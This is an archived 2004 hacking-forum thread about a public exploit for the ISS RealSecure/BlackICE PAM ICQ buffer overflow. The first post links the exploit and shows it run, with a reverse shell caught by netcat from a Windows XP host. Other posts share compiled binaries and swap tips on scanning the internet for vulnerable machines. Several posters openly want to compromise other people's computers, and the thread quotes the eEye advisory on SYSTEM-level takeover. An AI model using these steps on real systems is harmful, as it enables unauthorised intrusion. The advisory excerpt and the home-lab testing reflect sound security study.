hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Pages: 1, 2
Gurou
RealSecure / Blackice iss_pam1.dll Remote Overflow Exploit

http://www.k-otik.com/exploits/03.28.557iss_pam_exp.c.php

./557iss_pam_exp 192.168.10.2 192.168.10.169 5570
# attack remote host: 192.168.10.2.
# listen host: 192.168.10.169.
# listen port: 5570.
# send overflow udp datas
# 1199 bytes send
# done.
# make sure we are in, dude smile.gif


# nc -vv -l -p 5570
* listening on [any] 5570 ...
* 192.168.10.2: inverse host lookup failed: Host name lookup failure
* connect to [192.168.10.169] from (UNKNOWN) [192.168.10.2] 3604
* Microsoft Windows XP [Version 5.1.2600]
* © Copyright 1985-2001 Microsoft Corp.
*
* C:\

biggrin.gif
[XeriuM]
I'm getting some compile probs...

557iss_pam_exp.c: In function `udp_send':
557iss_pam_exp.c:212: warning: comparison between pointer and integer

Can somebody else get it compiled?
Ash
i tryed compiling no luck any one else?
Alexander01
Is this a port or how to scan..?
x1`
blackice the firewall?
Alexander01
yes
x1`
then what port would we scan for lol , how would we reconnize computers running this software
idscypher
Fresh exploit Gurou tkz
smile.gif
Silent Bob
having probs compiling too?
Crazy_c
here is compiled ver for windows
http://crazyc.8k.com/index.htmbiggrin.gif
DRuCuLa
ok, this is wierd.... huh.gif
think about it:
blackice = firewall = protection from hacking
but
blackice = firewall = hacking

wierd, huh? huh.gif
we can hack thanks to a firewall..... blink.gif
soon the AVes will become viruses blink.gif
GaLiaRePt
Exploit from the vulnerability discovered by eeye... More informations at http://www.eeye.com/html/Research/Advisories/AD20040318.html (For the curious wink.gif)
fre4k
anybody knows how to scan this shit ^^ ?

grass69
QUOTE (Crazy_c @ Mar 28 2004, 02:06 PM)
here is compiled ver for windows
http://crazyc.8k.com/index.htmbiggrin.gif

what version of cygwin1.dll do you use, I get an entry point could not be located error (I tried 2 versions of cygwin1.dll 0.54 and 0.78)

edit: nevermind was using a too old version
x1`
yes me to i dont think its compiled properly ......
cyrixx
i've uploaded the correct one here
DRuCuLa
it works fine!
i use this version of cygwin1.dll: 1005.5.0.0(this is what file inforamtion shows me... blink.gif )
BuzzDee
blackice opens port 4000 udp right? so how can we scan for udp ports? i usually scan with sfind (scan1000.exe) and this porg only scans tcp ports...
x1`
thanks cyrixx
works now smile.gif
FakoLy
exploit is running correctly but shell on 20 IPs tested. did some one of you sucess ?
jockel
thanx very much for this ..
just to know ...
is this the right nasl script to scan for it :
http://cgi.nessus.org/plugins/dump.php3?id=12114

thanx for the help =)
DRuCuLa
i found this proggy named NetworkActiv Scanner that can scan for ranges for UDP port.
download
quite ugly but does the job(i think)
seppel18
The nessus-Script is part of Xscan 3.1 cool.gif
Sp00ky
hmm guys i compiled it fine but what port to scan ? and if there is a remote scanner for udp can someone plz post a link? tnx biggrin.gif
Hellraiseruk
so how do we scan for this thing lol someone give a 100% answer biggrin.gif
temp
only computers with icq AND blackice are vulnerable, so its only usage is for owning crappy workstations wink.gif

scan after icq ...
Hellraiseruk
scan after icq?? blink.gif

only icq i know of is the instant messenging prog hehe
Lanig
QUOTE (BuzzDee @ Mar 28 2004, 02:45 PM)
blackice opens port 4000 udp right? so how can we scan for udp ports? i usually scan with sfind (scan1000.exe) and this porg only scans tcp ports...

nmap has a usp scanning option (-sU)
get it here : http://www.insecure.org/nmap
Hellraiseruk
must be away to scan p4000(scan1000.exe) then check it with a tool?
Gurou
QUOTE (jockel @ Mar 28 2004, 03:05 PM)
thanx very much for this ..
just to know ...
is this the right nasl script to scan for it :
http://cgi.nessus.org/plugins/dump.php3?id=12114

thanx for the help =)

yes this is the good plugin for scan smile.gif
x1`
do u know how to add a plugin to this scanner , not sure how to do it
x1`
another thing the plugin shows its ports 139 and 445 ,
when people say the exploit is 4000
can someone clearifiy
night^man
witch port i need to scan ?!
jockel
thats because the nasl script has dependencies

CODE

script_dependencies("netbios_name_get.nasl",
                    "smb_login.nasl","smb_registry_access.nasl");
script_require_keys("SMB/name", "SMB/login", "SMB/password",
                    "SMB/WindowsVersion",
                    "SMB/registry_access");

script_require_ports(139, 445);

so that the script can use the registry_get_sz function
CODE

mykey = "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\blackd.exe";
myitem = "Default";
myfile = registry_get_sz(key:mykey, item:myitem);


in order to check if vulnerable
x1`
ok so its port 4000 for sure ?
LoCaliSe
listen port: 5570.

It's the port to scan ?
xdccpt
any ideas in how to scan?


on port 4000 with Scan1000 and then Scanline i just found Remote-Anything 4.12.15 and 5.1.30 ...maybe cause its scanning TCP and not UDP

----------------------------------------------------------------------------------------
195.*.*.*
Responds with ICMP unreachable: No
TCP ports: 4000


TCP 4000:
[4.12.15 ,d -p` ra X ! x"} Y& P hv [+p m] t J ] iI[ C iY _S _: 2 ' ' V\ Ae y( a-]D ) Z M J@ iX!G Px B Z D Y q T Q b* f]

----------------------------------------------------------------------------------------
jockel
nahh ..
as far as i understood the exploit works like this :

he builds a connection to the target any sends and icq_header with an origin of udp 4000 so that the target assumes the header comes from a ICQ v5 server wich produces an buffer overflow (with the right shellcode sent) and makes execution of arbitrary code possible ..

so there is no need to scan for port 4000

what the nasl script does is openen the registry of the target by smb ( script_require_ports(139, 445) ) and compares the registry to the black ice string

CODE

   if (egrep(string:myread, pattern:"BlackICE Product Version.*(7\.0\.eb[a-h]|3\.6\.e(b[r-z]|c[ab]))")) {
       # do a warning for smb bug
       mywarning = string("ISS BlackICE is a personal Firewall/IDS for windows Desktops.


so the only way to scan 4 it is using this nasl script or porting it to another language and write your own scanner wink.gif

hope this helped ..
vnet576
I always install vulnerable progs on my computer to try exploits on them.

Installed this crappy prog..older version:
CODE

ISS.BlackICE.PC.Protection.v3.6.cbx


This exploit does not appear to work. The configuration that I used is default, my OS is XP SP0. So unless someone can prove otherwise this exploit is not legit.
jockel
i think you must use icq togother with iss
otherwise its not exploitable
mkwento
great job thksssssssssssssssss !!!!!!!!
vnet576
Hmm..are you sure, I'll try installing icq along with this to verify that. If thats the case then this exploit is a bust since u don't find many cases in the wild where icq and blackice are installed on the same computer.
DaClueless
QUOTE (night^man @ Mar 28 2004, 05:26 PM)
witch port i need to scan ?!

You cant scan for UDP.. because it a connectless connection.
x1`
bah so why isnt it called blackice/icq needed exploit
dam waste of time
night^man
so this spoit ..S-U-X
vnet576
why do u people react rather than testing it. See I don't understand this..if all of you had installed and tried this exploit locally we would've figured out if this exploit works or not instead of 3 pages of "how do u scan for this" and does this eploit work. I'm gonna try this now and i hope that people with other OS' try it as well..for all I know it might only work on win2k or xp sp1 or 2k3, etc.
vnet576
Ok, before I tried this I uninstalled the previous instance of blackice and did system restore to previous day. Afterwards I tried the exploit with both icq and blackice installed and icqlite and blackice installed. Neither one resulted in a succesful exploit. Anybody have any luck with other OS's.
brOmstar
in my opinion icq must not be installed..because bice is a firewall which checks incoming packets before the reach the real application.

The vuln seems to be that bice have an error during the check of icq-udp packets.
There is an module which calls 'PAM' - Protocol Analysis Module if a packet arrive which source is an udp 4000 port the PAM think it's an icqv5 packet and sends the packet to the function which is vulnerable.

So the bufferOverflow occurs before the packet should be recieved by icq.

expliot--->[sends the modified packet]---->firewall.blackice[bufferO]------>icq(should not be necessary)

regarding to the first post it should works on xp cause u can see a xp shell there =)

here some more info' for the people who use brainv1.1 rolleyes.gif


CODE
Vendor:
Internet Security Systems

Systems Affected:
RealSecure Network 7.0, XPU 22.11 and before
RealSecure Server Sensor 7.0 XPU 22.11 and before
RealSecure Server Sensor 6.5 for Windows SR 3.10 and before
Proventia A Series XPU 22.11 and before
Proventia G Series XPU 22.11 and before
Proventia M Series XPU 1.9 and before
RealSecure Desktop 7.0 ebl and before
RealSecure Desktop 3.6 ecf and before
RealSecure Guard 3.6 ecf and before
RealSecure Sentry 3.6 ecf and before
BlackICE Agent for Server 3.6 ecf and before
BlackICE PC Protection 3.6 ccf and before
BlackICE Server Protection 3.6 ccf and before

Description:

A critical vulnerability has been discovered in the PAM (Protocol
Analysis Module) component used in all current ISS host, server, and
network device solutions. A routine within the Protocol Analysis Module
(PAM) that monitors ICQ server responses contains a series of stack
based buffer overflow vulnerabilities. If the source port of an incoming
UDP packet is 4000, it is assumed to be an ICQ v5 server response. Any
incoming packet matching this criterion will be forwarded to the
vulnerable routine. By delivering a carefully crafted response packet to
the broadcast address of a network operating RealSecure/BlackICE agents
an attacker can achieve anonymous, remote SYSTEM access across all
vulnerable nodes.

Technical Description:

If the PAM ICQ response handling routine receives a SRV_META_USER
response the nickname, firstname, lastname, and email address buffers
will be assigned a pointer into a general purpose structure. Later in
the parent routine each of these buffers will be temporarily copied into
a 512 byte stack based buffer without any sanity checking. In order to
reach the vulnerable function calls the attacker needs to craft a
SRV_MULTI response that contains two embedded response packets, a
SRV_USER_ONLINE response and a SRV_META_USER response. If both are
supplied then a condition is met and the entire ICQ decoder structure is
filled out, and the vulnerable sprintf calls will be followed.

Since UDP is a stateless protocol, most IDS products are incapable of
keeping state or record of a concurrent connection. Such a feature would
be too costly to the performance of the IDS engine. With this in mind,
this flaw can be exploited by sending a single spoofed datagram.

In our test environment we successfully compromised a BlackICE
installation with "paranoid" configuration enabled, application
protection enabled, file sharing support disabled, and network
neighborhood support disabled.

It should be noted that the BlackICE/RealSecure engine listens for
packets received on the broadcast interface. This allows the
vulnerability to be exploited simultaneously across every vulnerable
host within a targeted network by issuing a single, spoofed, UDP
datagram.
jockel
yeah brOmstar is right ..
tested it successfully with a windows 2000 sp2 & ISS.BlackICE.PC.Protection.v3.6 installation ...
and got a shell =)
vnet576
Really? What was the subversion of blackice that u used. Each blackice has a 3 letter extension after the version (example:.v3.6.cbx).
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.